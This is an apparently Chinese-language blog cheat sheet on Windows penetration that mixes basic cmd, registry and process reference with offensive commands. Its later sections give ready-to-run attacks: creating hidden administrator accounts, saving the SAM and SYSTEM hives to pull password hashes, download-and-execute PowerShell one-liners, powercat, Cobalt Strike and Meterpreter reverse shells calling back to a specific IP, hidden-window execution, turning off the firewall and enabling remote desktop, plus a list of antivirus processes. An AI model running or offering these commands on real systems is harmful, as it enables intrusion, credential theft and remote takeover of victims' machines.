windows渗透大全

目录

Windows发展历史

Windows中常见的目录

Windows常见的cmd命令

Windows中cmd窗口的文件下载(bitsadmin、certutil、iwr)

Windows中加载并执行PowerShell脚本 

本地加载并执行PowerShell脚本

远程下载并执行PowerShell脚本

Windows中的批处理文件

Windows中快捷键操作

Windows中运行窗口的命令

Windows中的注册表

使用reg保存注册表中的sam、system、security文件

Windows中的端口

Windows中的进程

常见杀毒软件进程

监听端口netstat

Windows反弹Shell 

一键开启3389远程桌面

防火墙

Windows应急响应


Windows发展历史

Microsoft Windows,是美国微软公司研发的一套操作系统,它问世于1985年,起初仅仅是DOS模拟环境,后续的系统版本由于微软不断的更新升级,不但易用,也慢慢的成为家家户户人们最喜爱的操作系统。

MS-Dos

版本号发布时间
Windows1.01985.11
Windows2.01987.12
Windows2.11988
Windows3.01990.5
Windows3.11992
Windows3.21994

WIN 9X

版本号发布时间
Windows951995.8(拥有开始按钮和菜单栏)
Windows981998.6(真正意义上的图形化界面系统)
Windows98SE1999
WindowsME2000.9

WIN NT

版本号发布时间
WindowsNT3.11993
WindowsNT4.01996.4
Windows 2000 (NT5.0)2000
Windows XP (NT5.1)2001.10   2009.4停止更新
Window Vista (NT6.0)2007.1    2011.7停止更新  2017年4月停止所有支持
Windows 7 (NT6.1)2009.7   2020.1停止所有支持
Windows 8 (NT6.3)2012.10
Windows 8.12013.10
Windows 10 (NT10.0)2015.7

Windows Server

版本号发布时间
Windows Server 20032003.3         2015.7停止更新
Windows Server 20082008.2
Windows Server 20122012.9
Windows Server 20162016.10

Windows中常见的目录


 
 
  1. C:\Users\xie\AppData\Roaming\Microsoft\Windows\ Start Menu\Programs\ Startup 这个目录下存放着这个用户开机启动的程序
  2. C:\programData\Microsoft\Winodws\ Start Menu\Programs\ StartUp 这个目录下存放这开机自启的程序
  3. C:\Windows             这个目录是系统的安装目录
  4. C:\Windows\System32   这个目录下存放着系统的配置文件
  5. C:\Windows\System32\config\SAM   这个目录下的SAM文件存放着用户的登录账户和密码,要清楚账户和密码,需要进PE系统把这个文件删掉,对应系统进程: lsass.exe
  6. C:\PerfLogs           这个是系统日志目录

Windows常见的cmd命令


 
 
  1. #系统信息
  2. CHCP 65001 修改字体编码为 UTF- 8
  3. systeminfo                        查看系统信息
  4. hostname                      查看主机名
  5. SET 查看环境变量
  6. color                                改变cmd颜色
  7. cls                                  清除屏幕
  8. #网络
  9. ping -t  -l   65500  ip           死亡之ping
  10. ipconfig    /release             释放ip
  11. ipconfig    /renew                重新获得ip
  12. ipconfig /flushdns 刷新 DNS缓存
  13. route print 打印路由信息
  14. arp -a 查看arp缓存
  15. net view                      查看局域网内其他计算机名称
  16. netsh firewall show state 防火墙状态
  17. netsh firewall show config 防火墙规则
  18. #用户
  19. whoami 查看系统当前用户
  20. net user                       查看有哪些用户
  21. net user xie 查看用户xie的信息
  22. net localgroup 查看组
  23. net localgroup administrators 查看组administrators的信息
  24. net user  hack 123  /add     新建一个用户hack,密码为 123
  25. net user hack$ 123 /add 新建一个隐藏hack用户,密码为 123
  26. net user  hack /del         删除用户hack
  27. net localgroup  administrators  hack  /add   将普通用户hack提权到管理员
  28. net user  guest  /active:yes     激活guest用户
  29. net user  guest  /active:no     关闭guest用户
  30. net password   密码              更改系统当前登录用户密码
  31. net user guest 密码 更改guest用户密码
  32. #端口进程服务
  33. tasklist 查看进程
  34. tasklist  /v                查看进程,显示进程使用者名称
  35. netstat -ano 查看系统开放端口
  36. netstat -ano|findstr 80 查看 80端口对应的 PID
  37. tasklist | findstr 80 查看 80端口对应的进程
  38. taskkill /f /t /im xx.exe 杀死xx.exe进程
  39. taskkill / F -pid 520 杀死pid为 520的进程
  40. net start                     查看开启了哪些服务
  41. net start telnet             开启telnet服务
  42. net stop telnet               停止 telnet服务
  43. start   www.baidu.com         打开网址
  44. #共享
  45. net use 查看连接
  46. net share                        查看本地开启的共享
  47. net share ipc$              开启ipc$共享
  48. net share ipc$ /del       删除ipc$共享
  49. net share c$ /del          删除 C盘共享
  50. net use \\ 192.168. 10.15\ipc$ /u: "" ""192.168. 10.15建立ipc空连接
  51. net use \\ 192.168. 10.15 /u: "" ""192.168. 10.15建立ipc空连接,可以吧ipc$去掉
  52. net use \\ 192.168. 10.15 /u: "administrator" "root" 以administrator身份与 192.168. 10.15建立ipc连接
  53. net use \\ 192.168. 10.15 /del 删除ipc连接
  54. net use \\ 192.168. 10.15\ c$ /u: "administrator" "root" 建立 C盘共享
  55. dir \\ 192.168. 10.15\ c$ 查看 192.168. 10.15C盘文件
  56. dir \\ 192.168. 10.15\ c$\user 查看 192.168. 10.15C盘文件下的user目录
  57. dir \\ 192.168. 10.15\ c$\user\test.exe 查看 192.168. 10.15C盘文件下的user目录下的test.exe文件
  58. net use \\ 192.168. 10.15\ c$ /del 删除该 C盘共享连接
  59. net use k: \\ 192.168. 10.15\ c$ /u: "administrator" "root" 将目标 C盘映射到本地 K
  60. net use k: /del 删除该映射
  61. #文件操作
  62. echo  hello,word > 1.txt      向 1.txt中写入 hello,word
  63. echo  hello,word >> 1.txt      向 1.txt中追加 hello,word
  64. del                              删除一个文件
  65. deltree                        删除文件夹和它下面的所有子文件夹还有文件
  66. ren 1.txt  2.txt            将 1.txt 重命名为 2.txt
  67. type   1.txt                  查看 1.txt文件的内容
  68. md                             创建一个文件夹
  69. rd                               删除一个文件夹
  70. move  1.txt  d:/          将 1.txt文件移动到d盘下
  71. type   123.txt                打开 123.txt文件
  72. dir c:\ 查看 C盘下的文件
  73. dir c:\ / A 查看 C盘下的所有文件,包括隐藏文件
  74. dir c:\ / S 查看 C盘下和其子文件夹下的文件
  75. dir c:\ / B 只显示 C盘下的文件名
  76. shutdown -s -t 60 - c  “你的电脑被黑了”         -s关机 -r重启 -a取消
  77. copy con A.txt   创建 A.txt文本文件; 
  78.   hello,word      输入内容; 
  79.     按 CTRL+ Z键,之后再回车;
  80.  
  81. reg save  hklm\sam  sam.hive
  82. reg save  hklm\system  system.hive
  83. 这两个文件是windows的用户账户数据库,所有用户的登录名以及口令等相关信息都会保存在文件中,这两条命令是获取windows管理员的hash值

Windows中cmd窗口的文件下载(bitsadmin、certutil、iwr)

无论是bitsadmin还是certutil,都要将下载的文件放到拥有权限的目录,否则会提示权限拒绝

certutil

certutil也是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。


 
 
  1. certutil -urlcache -split -f http:// 114.118 .80 .138/shell.php #下载文件到当前目录下
  2. certutil -urlcache -split -f http:// 114.118 .80 .138/shell.php c:/users/xie/desktop/shell.php #下载文件到指定目录下

但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中几乎不适用该命令

bitsadmin

bitsadmin  可以用来在windows 命令行下下载文件。bitsadmin是windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。

bitsadmin的一些特性:

  • bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。
  • bitsadmin 可以跟随URL跳转.
  • bitsadmin 不像curl  wget 这类工具那样能用来下载HTML页面。

用法:


 
 
  1. bitsadmin /transfer test http://files.cnblogs.com/files/gayhub/bcn.js c:\users\xie\desktop\shell.php
  2. # "任务名" 可以随意起,保存文件的文件路径必须是已经存在的目录,否则不能下载。

下载完成后

默认情况下bitsadmin下载速度极慢,下载较大文件需要设置优先级提速,以下是用法示例


 
 
  1. start bitsadmin /transfer test http:// 192.168 .10 .14/test.exe f:\test.exe
  2. bitsadmin /setpriority test foreground #设置任务test为最高优先级

相关文章:使用bitsadmin.exe 下载文件,配合bcn.bat玩出更多的花样

iwr

iwr是PowerShell下的一款工具,所以我们如果在cmd下执行该命令的话,需要在前面加powershell命令,但是这会被安全软件检测到。所以建议在执行前,先进入powershell下

iwr -Uri http://www.test.com/vps.exe -OutFile vps.exe -UseBasicParsing
 
 

 

Windows中加载并执行PowerShell脚本 

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

Windows XP 和 Windows Server 2003是没有Powershell的,Win7、2008 Server 及其以后的有。更多的关于PowerShell的用法:PowerShell使用浅析

本地加载并执行PowerShell脚本

在cmd当前目录下有PowerView.ps1脚本,并执行其中的Get-Netdomain模块

powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain  
 
 

远程下载并执行PowerShell脚本

远程下载并执行test.ps1脚本、远程下载PowerView.ps1脚本,并执行其中的Get-Netdomain模块


 
 
  1. powershell -exec bypass -c IEX (New- Object System.Net.Webclient).DownloadString( 'http://xx.xx.xx.xx/test.ps1')
  2. powershell -exec bypass -c IEX (New- Object System.Net.Webclient).DownloadString( 'http://xx.xx.xx.xx/powerview.ps1'); import- module .\powerview.ps1;Get-NetDomain

 

Windows中的批处理文件


 
 
  1. @echo off         表示在此语句后所有运行的命令都不显示命令行本身
  2. echo               显示这行后面的文字
  3. title                标题 
  4. rem               注释命令
  5. cls                 清楚窗口
  6. set /a             赋值
  7. set /p  name=     接受用户输入,保存在name中
  8. %name%             输出用户的输入
  9. if   else           判断
  10. FOR / F %%i in (ip.txt) do echo %%i #循环打印出ip.txt内的数据,同一个窗口
  11. FOR / F %%i in (ip.txt) do start echo %%i #循环打印出ip.txt内的数据,不同窗口
  12. GEQ                 大于等于
  13. LSS                 小于
  14. goto   : 1 : 2       跳转到
  15. exit               退出程序
  16. start               启动文件
  17. call               调用另一个批处理文件
  18. dir c:\*.*>a.txt     将 C盘文件列表写入a.txt
  19. del                 删除一个或多个文件

Windows中快捷键操作


 
 
  1. Alt+ Tab               快速切换程序
  2. Alt+ F4               快速关闭程序
  3. Alt                   矩形选择
  4. Alt+双击文件           查看文件属性
  5. Shift+delete         永久删除文件
  6. Ctrl+。               中英文标点切换
  7. Ctrl+ S                保存
  8. Ctrl+ N                新建
  9. Ctrl+ W                关闭程序
  10. Ctrl+ U                加下划线
  11. Ctrl+ Z                撤销操作
  12. Ctrl+ B                粗体
  13. Ctrl+ I                斜体
  14. Ctrl+shift+esc       快速打开任务管理器
  15. Win+ D                 快速回到桌面
  16. Win+ I                 快速打开设置
  17. Win+ A                 打开操作中心
  18. Win+ Q                 打开语音助手cortana
  19. Win+ X                 打开windows功能
  20. Win+ Pause       我的电脑的属性

Windows中运行窗口的命令


 
 
  1. dxdiag                查询电脑硬件配置信息
  2. control               控制面板
  3. services.msc        服务
  4. msconfig             系统配置
  5. regedit               注册表
  6. ncpa.cpl             网络连接
  7. firewall.cpl          防火墙
  8. devmgmt.msc       设备管理器 
  9. diskmgmt.msc      磁盘管理实用
  10. compmgmt.msc    计算机管理
  11. winver                检查 Windows版本  
  12. write                 写字板
  13. mspaint              画图板
  14. mstsc                远程桌面连接 
  15. magnify             放大镜实用程序 
  16. notepad             打开记事本
  17. shrpubw             创建共享文件夹 
  18. calc                  启动计算器 
  19. osk                   打开屏幕键盘

Windows中的注册表

注册表(Registry,繁体中文版Windows称之为登录)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的配置信息

  • HKEY_CLASSES_ROOT    管理文件系统,根据windows中安装的应用程序的扩展名,该根键指明其文件类型的名称,相应打开文件所要调用的程序等等信息。
  • HEKY_CURRENT_USER   管理系统当前的用户信息。在这个根键中保存了本地计算机存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。
  • HKEY_LOCAL_MACHINE   管理当前系统硬件配置。在这个根键中保存了本地计算机硬件配置数据,此根键下的子关键字包括在SYSTEM.DAT中,用来提供HKEY_LOCAL_MACHINE所需的信息,或者在远程计算机中可访问的一组键中
  • HKEY_USERS   管理系统的用户信息,在这个根键中保存了存放在本地计算机口令列表中的用户标识和密码列表。同时每个用户的预配置信息都存储在HKEY_USERS根键中。HKEY_USERS是远程计算机中访问的根键之一。
  • HKEY_CURRENT_CONFIG   管理当前用户的系统配置。在这个根键中保存着定义当前用户桌面配置的数据,该用户使用过的文档列表。

使用reg保存注册表中的sam、system、security文件

以下命令需要管理员权限执行


 
 
  1. reg save hklm\sam c:\users\mi\desktop\sam
  2. reg save hklm\system c:\users\mi\desktop\system
  3. reg save hklm\security c:\users\mi\desktop\security

Windows中的端口

  • 公认端口:公认端口也称为常用端口,包括 0-1023 端口
  • 注册端口:注册端口包括 1024-49151 端口,它们松散地绑定一些服务
  • 动态/私有端口:动态/私有端口包括 49152-65535,这些端口通常不会被分配服务。

关闭端口:

命令行方式关闭端口,实际上是调用了防火墙。以管理员权限打开cmd窗口,执行下面命令,以下是演示关闭139端口


 
 
  1. netsh advfirewall set allprofile state on
  2. netsh advfirewall firewall add rule name= test dir= in action= block protocol=TCP localport= 139 #想关闭其他端口,把 139替换成其他端口就行

也可以直接在防火墙图形化界面关闭:

然后一直下一步就可以了

Windows中的进程

windows中包括系统进程和程序进程。

ctrl+shift+esc 打开任务管理器,可以查看进程信息。用户名为SYSTEM的是系统进程。

一些常见的系统进程和含义:

  • conime.exe:与输入法编辑器有关的系统进程,能够确保正常调整和编辑系统中的输入法
  • csrss.exe:该进程是微软客户端/服务端运行时子系统,该进行管理windows图形相关任务
  • ctfmon.exe:该进程与输入法有关,该进程的正常运行能够确保语言栏能正常显示在任务栏中
  • explorer.exe:该进程是windows资源管理器,可以说是windows图形界面外壳程序,该进程的正常运行能够确保在桌面上显示桌面图标和任务栏
  • lsass.exe:该进行用于windows操作系统的安全机制、本地安全和登录策略
  • services.exe:该进程用于启动和停止系统中的服务,如果用户手动终止该进程,系统也会重新启动该进程
  • smss.exe:该进程用于调用对话管理子系统,负责用户与操作系统的对话
  • svchost.exe:该进行是从动态链接库(DLL)中运行的服务的通用主机进程名称,如果用户手动终止该进程,系统也会重新启动该进程
  • system:该进程是windows页面内存管理进程,它能够确保系统的正常启动
  • system idle process:该进行的功能是在CPU空闲时发出一个命令,使CPU挂起,从而有效降低CPU内核的温度
  • winlogon.exe:该进程是Windows NT用户登录程序,主要用于管理用户登录和退出。

常见杀毒软件进程

进程软件名称
360sd.exe360杀毒
360tray.exe360实时保护
ZhuDongFangYu.exe360主动防御
KSafeTray.exe金山卫士
SafeDogUpdateCenter.exe服务器安全狗
McAfee McShield.exeMcAfee
egui.exeNOD32
AVP.EXE卡巴斯基
avguard.exe小红伞
bdagent.exeBitDefender

监听端口netstat

windows中使用 netstat 命令用来监听端口

  • 显示所有的有效连接信息列表,包括监听连接请求(LISTENING )的连接、已建立的连接(ESTABLISHED )、断开连接(CLOSE_WAIT )或者处于联机等待状态的(TIME_WAIT )等 :netstat -a
  • 以数字形式显示地址和端口号:netstst -an
  • 除了显示这些信息外,还显示进程的PID:netstat -ano
  • 查看被占用端口80对应的应用的PID:netstat -ano | findstr 80
  • 查看80端口被哪个进程或程序占用:tasklist | findstr 80
  • 结束该进程或程序:taskkill  /f  /t  /im  xx.exe        /f 杀死所有进程及   /t 强制杀死    /im 用镜像名称作为进程信息    
  • 杀死指定PID的进程:taskkill  -F -pid 520        杀死PID为520的进程
                     

Windows反弹Shell 

cmd窗口下利用Powershell反弹NC shell 

亲测所有机器都适用


 
 
  1. powershell IEX ( New- Object System.Net.Webclient).DownloadString( 'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  2. powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd.exe"

cmd窗口下利用Powershell反弹CobaltStrike shell

windows10 经常性不能用。windows 2008R2以下百分百适用。


 
 
  1. powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))" #后台运行
  2. powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))"

cmd窗口下反弹MSF shell

VPS上的操作


 
 
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= 114.128 .90 .138 lport= 7788 -f psh-reflection > 7788.ps1 #生成木马文件 7788.ps1
  2. python -m SimpleHTTPServer 80 #开启web服务
  3. #MSF监听
  4. use exploit/multi/handler
  5. set payload windows/x64/meterpreter/reverse_tcp
  6. set lhost 114.118 .80 .138
  7. set lport 7788
  8. exploit -j

目标机的操作


 
 
  1. powershell -windowstyle hidden - exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://114.118.80.138/7788.ps1');xx.ps1" #后台运行
  2. 或者
  3. powershell - exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://114.118.80.138/7788.ps1');xx.ps1"

一键开启3389远程桌面

以下命令需要administrator权限运行


 
 
  1. # Windows Server 2008 / Win7 / 2012
  2. reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  3. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName= 'RDP-Tcp') call setuserauthenticationrequired 1
  4. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
  5. # Windows Server 2003 / xp
  6. wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

防火墙


 
 
  1. 查看防火墙配置: netsh firewall show config
  2. 设置防火墙日志存储位置:netsh advfirewall set currentprofile logging filename "C:\Windows\temp\FirewallLOG.log"
  3. 关闭防火墙:
  4. netsh firewall get opmode disable (WIN2003之前)
  5. netsh advfirewall set allprofiles state off (WIN2003之后)
  6. 允许某个程序的全连接
  7. netsh firewall add allowdprogram C:\nc.exe "allow nc" enable (WIN2003之前)
  8. 允许某个程序连入
  9. netsh advfirewall firewall add rule name= "pass nc" dir= in action= allow program= "C:\nc.exe"
  10. 允许某个程序外连
  11. netsh advfirewall firewall add rule name= "pass nc" dir= in action= allow program= "C:\nc.exe"
  12. 开启 3389端口
  13. netsh advfirewall firewall add rule name= "Remote Desktop" protocol=TCP dir= in localport= 3389 action= allow

Windows应急响应

Windows应急响应

分享一次应急响应简述

RDP登录日志取证和清除

相关文章:Windows内网渗透提权的几个实用命令

                  windows提权辅助页面

  • 1
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在计算机攻防中,Windows操作系统被广泛使用,成为黑客攻击的重点。因此对于渗透测试人员而言,掌握Windows渗透技术是非常重要的。 Windows渗透测试的技术路径通常为:信息搜集、漏洞扫描、获取权限和提权、横向渗透、数据收集及清理。 在信息搜集方面,渗透测试人员需要使用各种工具进行OSINT和footprinting,收集有关目标系统的详细信息,如IP地址、端口、操作系统版本、应用程序版本等。 在漏洞扫描方面,可以使用常见的漏洞扫描工具,如Nmap、Metasploit等,对目标系统进行扫描和探测,并识别出系统中存在的漏洞。 获取权限和提权是Windows渗透测试中最关键的步骤之一。假设攻击者成功取得了目标系统的某一账户的用户名和密码信息,就可以通过使用工具如mimikatz来获取该账户的明文密码。渗透测试人员还可以使用Phishing和Social Engineering等方式进行欺骗,获取最高权限。 横向渗透是指攻击者试图进一步渗透到目标系统内部的其他系统,目的是获得更多权限和数据。攻击者可以利用已知的漏洞、弱口令或欺骗手段,从一个系统到另一个系统逐层控制。 在收集数据方面,渗透测试人员需要尽可能多地收集目标系统的数据,例如敏感信息、用户帐户、组织结构和系统信息等。通过数据评估和清理,渗透测试人员可以找到系统中的脆弱点并提供后续的安全策略建议。 综上所述,突破Windows系统渗透测试是非常重要的。掌握Windows渗透技术是保证企业信息安全的一个重要方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值